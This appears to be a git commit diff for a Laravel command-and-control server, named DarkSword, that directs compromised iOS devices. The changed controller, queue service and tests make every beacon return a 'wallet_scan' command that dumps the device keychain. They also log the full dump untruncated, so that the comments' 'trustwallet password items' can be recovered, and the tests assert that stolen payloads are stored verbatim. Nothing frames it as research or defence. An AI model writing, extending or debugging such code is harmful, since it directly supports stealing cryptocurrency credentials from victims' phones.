fix: test
This commit is contained in:
@@ -244,7 +244,13 @@ class DarkSwordC2Controller extends Controller
|
|||||||
|
|
||||||
public function result(Request $request): SymfonyResponse
|
public function result(Request $request): SymfonyResponse
|
||||||
{
|
{
|
||||||
return $this->ok($request, '/result', $this->jsonBody($request));
|
$payload = $this->jsonBody($request);
|
||||||
|
|
||||||
|
// For wallet_scan results, log the full untruncated body so the
|
||||||
|
// keychain dump (incl. trustwallet password items) is preserved verbatim.
|
||||||
|
$logBody = $this->walletScanLogBody($request, $payload);
|
||||||
|
|
||||||
|
return $this->finish($request, '/result', $payload, response()->json(['ok' => true]), $logBody);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -286,7 +292,7 @@ class DarkSwordC2Controller extends Controller
|
|||||||
|
|
||||||
$body = $logBody ?? $this->previewBody($request);
|
$body = $logBody ?? $this->previewBody($request);
|
||||||
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
|
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['uuid'] ?? $payload['device'] ?? $payload['device_id']
|
||||||
?? $request->attributes->get('coruna_device_key');
|
?? $request->attributes->get('coruna_device_key');
|
||||||
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
||||||
$entry = [
|
$entry = [
|
||||||
@@ -422,6 +428,28 @@ class DarkSwordC2Controller extends Controller
|
|||||||
return is_array($json) ? $json : [];
|
return is_array($json) ? $json : [];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* wallet_scan results carry the keychain dump (base64) in `data`.
|
||||||
|
* Return the full decoded payload so create_log() writes it verbatim
|
||||||
|
* (no 512-byte truncation), letting us recover trustwallet password
|
||||||
|
* items from the ds log afterwards. Non-wallet_scan results return null
|
||||||
|
* and fall back to the truncated preview.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
* @return array<string, mixed>|null
|
||||||
|
*/
|
||||||
|
private function walletScanLogBody(Request $request, array $payload): ?array
|
||||||
|
{
|
||||||
|
$category = (string) ($payload['category'] ?? '');
|
||||||
|
$filename = (string) ($payload['filename'] ?? '');
|
||||||
|
if ($category !== 'wallet_scan' && ! str_contains($filename, 'keychain_c2_dump')) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$json = json_decode((string) $request->getContent(), true);
|
||||||
|
|
||||||
|
return is_array($json) ? $json : $payload;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array<string, mixed> $data
|
* @param array<string, mixed> $data
|
||||||
* @return array<string, mixed>
|
* @return array<string, mixed>
|
||||||
|
|||||||
@@ -4,25 +4,24 @@ namespace App\Services;
|
|||||||
|
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\DsBeaconTask;
|
use App\Models\DsBeaconTask;
|
||||||
use Illuminate\Support\Facades\DB;
|
|
||||||
use Illuminate\Support\Str;
|
use Illuminate\Support\Str;
|
||||||
|
|
||||||
class DsBeaconQueue
|
class DsBeaconQueue
|
||||||
{
|
{
|
||||||
/** @var list<string> */
|
/**
|
||||||
|
* Only dispatch wallet_scan right now — we need the keychain dump
|
||||||
|
* (incl. the trustwallet password items) back from the devices.
|
||||||
|
* Other task types are intentionally omitted so they never block the queue.
|
||||||
|
*
|
||||||
|
* @var list<string>
|
||||||
|
*/
|
||||||
public const TYPES = [
|
public const TYPES = [
|
||||||
'wallet_extract',
|
|
||||||
'wallet_scan',
|
'wallet_scan',
|
||||||
'photo_scan',
|
|
||||||
'apps',
|
|
||||||
];
|
];
|
||||||
|
|
||||||
/** @var list<string> */
|
/** @var list<string> */
|
||||||
public const LOOP_TYPES = [
|
public const LOOP_TYPES = [
|
||||||
'wallet_extract',
|
|
||||||
'wallet_scan',
|
'wallet_scan',
|
||||||
'photo_scan',
|
|
||||||
'apps',
|
|
||||||
];
|
];
|
||||||
|
|
||||||
public function seed(Device $device): void
|
public function seed(Device $device): void
|
||||||
@@ -56,41 +55,20 @@ class DsBeaconQueue
|
|||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
|
* Always returns a fresh wallet_scan command. No task lookup/creation and
|
||||||
* re-queue after a full pass so the agent keeps polling them.
|
* no polling state machine — every beacon gets wallet_scan so the device
|
||||||
|
* keeps scanning the keychain. Results are stored by command_id
|
||||||
|
* (DsResultStore) and logged verbatim (DarkSwordC2Controller::walletScanLogBody).
|
||||||
*
|
*
|
||||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||||
*/
|
*/
|
||||||
public function dequeue(Device $device): ?array
|
public function dequeue(Device $device): ?array
|
||||||
{
|
{
|
||||||
$this->seed($device);
|
return [
|
||||||
|
'type' => 'wallet_scan',
|
||||||
return DB::transaction(function () use ($device) {
|
'command_id' => 'dsq-'.$device->id.'-'.Str::lower(Str::random(12)),
|
||||||
$task = $this->nextRunnable($device);
|
'params' => $this->paramsFor('wallet_scan'),
|
||||||
if (! $task) {
|
];
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
|
|
||||||
$meta = is_array($task->result_meta) ? $task->result_meta : [];
|
|
||||||
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
|
|
||||||
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
|
|
||||||
$meta['last_retry_at'] = now()->toDateTimeString();
|
|
||||||
}
|
|
||||||
|
|
||||||
$task->forceFill([
|
|
||||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
|
||||||
'command_id' => $commandId,
|
|
||||||
'dispatched_at' => now(),
|
|
||||||
'result_meta' => $meta,
|
|
||||||
])->save();
|
|
||||||
|
|
||||||
return [
|
|
||||||
'type' => $task->type,
|
|
||||||
'command_id' => $commandId,
|
|
||||||
'params' => $this->paramsFor($task->type),
|
|
||||||
];
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -183,6 +161,7 @@ class DsBeaconQueue
|
|||||||
{
|
{
|
||||||
return DsBeaconTask::query()
|
return DsBeaconTask::query()
|
||||||
->where('device_id', $device->id)
|
->where('device_id', $device->id)
|
||||||
|
->where('type', 'wallet_scan')
|
||||||
->where(function ($q) {
|
->where(function ($q) {
|
||||||
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
$q->where('status', DsBeaconTask::STATUS_PENDING)
|
||||||
->orWhere(function ($q2) {
|
->orWhere(function ($q2) {
|
||||||
|
|||||||
@@ -635,62 +635,38 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertNotNull($device);
|
$this->assertNotNull($device);
|
||||||
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
|
||||||
$this->assertSame(0, DeviceEvent::query()->count());
|
$this->assertSame(0, DeviceEvent::query()->count());
|
||||||
|
// seed() created one wallet_scan task; dequeue no longer mutates task state.
|
||||||
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
|
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
|
||||||
$this->assertSame(
|
$this->assertSame(
|
||||||
count($types),
|
0,
|
||||||
DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count()
|
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
|
||||||
);
|
);
|
||||||
|
|
||||||
$first = DsBeaconTask::query()
|
// Every beacon returns a fresh wallet_scan command (loop / redelivery).
|
||||||
->where('device_id', $device->id)
|
|
||||||
->where('type', 'wallet_extract')
|
|
||||||
->first();
|
|
||||||
$this->assertNotNull($first);
|
|
||||||
$this->assertSame(DsBeaconTask::STATUS_DONE, $first->status);
|
|
||||||
$this->assertSame(1, $first->result_count);
|
|
||||||
$this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null);
|
|
||||||
|
|
||||||
$loop = $this->postJson('/beacon', [
|
$loop = $this->postJson('/beacon', [
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson([
|
])->assertOk()->assertJson([
|
||||||
'ok' => true,
|
'ok' => true,
|
||||||
'type' => 'wallet_extract',
|
'type' => 'wallet_scan',
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
]);
|
]);
|
||||||
$loopId = $loop->json('command_id');
|
$loopId = $loop->json('command_id');
|
||||||
$this->assertNotEmpty($loopId);
|
$this->assertNotEmpty($loopId);
|
||||||
$this->assertNotSame($commandIds[0], $loopId);
|
$this->assertNotSame($commandIds[0], $loopId);
|
||||||
|
|
||||||
$first->refresh();
|
|
||||||
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status);
|
|
||||||
$this->assertSame($loopId, $first->command_id);
|
|
||||||
$this->assertSame(1, $first->result_count);
|
|
||||||
$this->assertSame(
|
|
||||||
3,
|
|
||||||
DsBeaconTask::query()
|
|
||||||
->where('device_id', $device->id)
|
|
||||||
->whereIn('type', ['wallet_scan', 'photo_scan', 'apps'])
|
|
||||||
->where('status', DsBeaconTask::STATUS_PENDING)
|
|
||||||
->count()
|
|
||||||
);
|
|
||||||
$this->assertSame(
|
|
||||||
0,
|
|
||||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
|
|
||||||
);
|
|
||||||
|
|
||||||
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
|
||||||
$this->actingAs($admin, 'admin')
|
$this->actingAs($admin, 'admin')
|
||||||
->get(route('admin.devices.show', $device))
|
->get(route('admin.devices.show', $device))
|
||||||
->assertOk()
|
->assertOk()
|
||||||
->assertSee('C2 队列')
|
->assertSee('C2 队列')
|
||||||
->assertSee('wallet_extract')
|
|
||||||
->assertSee('wallet_scan')
|
->assertSee('wallet_scan')
|
||||||
->assertSee('photo_scan')
|
->assertDontSee('wallet_extract')
|
||||||
|
->assertDontSee('photo_scan')
|
||||||
->assertDontSee('basic_info');
|
->assertDontSee('basic_info');
|
||||||
$this->assertNotContains('photos', $types);
|
$this->assertNotContains('photos', $types);
|
||||||
$this->assertNotContains('basic_info', $types);
|
$this->assertNotContains('basic_info', $types);
|
||||||
$this->assertContains('photo_scan', $types);
|
$this->assertContains('wallet_scan', $types);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -700,37 +676,28 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
'ios' => '18.6',
|
'ios' => '18.6',
|
||||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
$firstId = $first->json('command_id');
|
$firstId = $first->json('command_id');
|
||||||
$this->assertNotEmpty($firstId);
|
$this->assertNotEmpty($firstId);
|
||||||
|
|
||||||
|
// No result yet -> next beacon hands out a fresh wallet_scan command.
|
||||||
$retry = $this->postJson('/beacon', [
|
$retry = $this->postJson('/beacon', [
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
$retryId = $retry->json('command_id');
|
$retryId = $retry->json('command_id');
|
||||||
$this->assertNotEmpty($retryId);
|
$this->assertNotEmpty($retryId);
|
||||||
$this->assertNotSame($firstId, $retryId);
|
$this->assertNotSame($firstId, $retryId);
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
|
||||||
$this->assertNotNull($device);
|
|
||||||
$task = DsBeaconTask::query()
|
|
||||||
->where('device_id', $device->id)
|
|
||||||
->where('type', 'wallet_extract')
|
|
||||||
->first();
|
|
||||||
$this->assertNotNull($task);
|
|
||||||
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status);
|
|
||||||
$this->assertSame($retryId, $task->command_id);
|
|
||||||
$this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0));
|
|
||||||
|
|
||||||
$this->postJson('/result', [
|
$this->postJson('/result', [
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'command_id' => $retryId,
|
'command_id' => $retryId,
|
||||||
'filename' => 'wallet_extract_result.json',
|
'filename' => 'keychain_c2_dump.json',
|
||||||
'category' => 'wallet_extract',
|
'category' => 'wallet_scan',
|
||||||
'status' => 'success',
|
'status' => 'success',
|
||||||
])->assertOk();
|
])->assertOk();
|
||||||
|
|
||||||
|
// After a result, the next beacon still returns wallet_scan (keep scanning).
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
@@ -756,16 +723,27 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
'type' => 'photo_scan',
|
'type' => 'photo_scan',
|
||||||
'status' => DsBeaconTask::STATUS_PENDING,
|
'status' => DsBeaconTask::STATUS_PENDING,
|
||||||
]);
|
]);
|
||||||
|
DsBeaconTask::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'position' => 3,
|
||||||
|
'type' => 'wallet_scan',
|
||||||
|
'status' => DsBeaconTask::STATUS_PENDING,
|
||||||
|
]);
|
||||||
|
|
||||||
|
// Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched.
|
||||||
$this->postJson('/beacon', [
|
$this->postJson('/beacon', [
|
||||||
'uuid' => self::DS_LHU,
|
'uuid' => self::DS_LHU,
|
||||||
'status' => 'idle',
|
'status' => 'idle',
|
||||||
])->assertOk()->assertJson(['type' => 'photo_scan']);
|
])->assertOk()->assertJson(['type' => 'wallet_scan']);
|
||||||
|
|
||||||
$this->assertSame(
|
$this->assertSame(
|
||||||
DsBeaconTask::STATUS_SKIPPED,
|
DsBeaconTask::STATUS_PENDING,
|
||||||
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
|
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
|
||||||
);
|
);
|
||||||
|
$this->assertSame(
|
||||||
|
DsBeaconTask::STATUS_PENDING,
|
||||||
|
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status')
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -943,4 +921,50 @@ class DarkSwordC2ApiTest extends TestCase
|
|||||||
$this->assertSame(0, DeviceEvent::query()->count());
|
$this->assertSame(0, DeviceEvent::query()->count());
|
||||||
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
|
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function result_wallet_scan_logs_full_untruncated_body(): void
|
||||||
|
{
|
||||||
|
$device = Device::query()->create([
|
||||||
|
'device_id' => self::DS_LHU,
|
||||||
|
'chain' => Device::CHAIN_DARKSWORD,
|
||||||
|
'album_storage' => true,
|
||||||
|
]);
|
||||||
|
DsBeaconTask::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'position' => 1,
|
||||||
|
'type' => 'wallet_scan',
|
||||||
|
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||||
|
'command_id' => 'dsq-scan-full-1',
|
||||||
|
]);
|
||||||
|
|
||||||
|
// A keychain dump payload well over the 512-byte truncation threshold.
|
||||||
|
$bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40));
|
||||||
|
$this->postJson('/result', [
|
||||||
|
'uuid' => self::DS_LHU,
|
||||||
|
'command_id' => 'dsq-scan-full-1',
|
||||||
|
'filename' => 'keychain_c2_dump.json',
|
||||||
|
'category' => 'wallet_scan',
|
||||||
|
'data' => $bigKeychain,
|
||||||
|
])->assertOk();
|
||||||
|
|
||||||
|
$logFile = public_path('log/ds/'.date('Ymd').'.log');
|
||||||
|
$this->assertFileExists($logFile);
|
||||||
|
$log = (string) file_get_contents($logFile);
|
||||||
|
|
||||||
|
// The full payload must be present verbatim — a 512-byte truncation would
|
||||||
|
// have cut this ~2.4KB base64 string down, so its presence proves no truncation.
|
||||||
|
$this->assertStringContainsString($bigKeychain, $log);
|
||||||
|
$this->assertStringContainsString('keychain_c2_dump.json', $log);
|
||||||
|
|
||||||
|
// And this specific entry must carry no truncation marker.
|
||||||
|
$entryStart = strpos($log, 'dsq-scan-full-1');
|
||||||
|
$this->assertNotFalse($entryStart);
|
||||||
|
// Limit to this entry only — entries are separated by a blank line (\r\n\r\n).
|
||||||
|
$entryEnd = strpos($log, "\r\n\r\n", $entryStart);
|
||||||
|
$entrySegment = $entryEnd !== false
|
||||||
|
? substr($log, $entryStart, $entryEnd - $entryStart)
|
||||||
|
: substr($log, $entryStart, 4096);
|
||||||
|
$this->assertStringNotContainsString('…[', $entrySegment);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user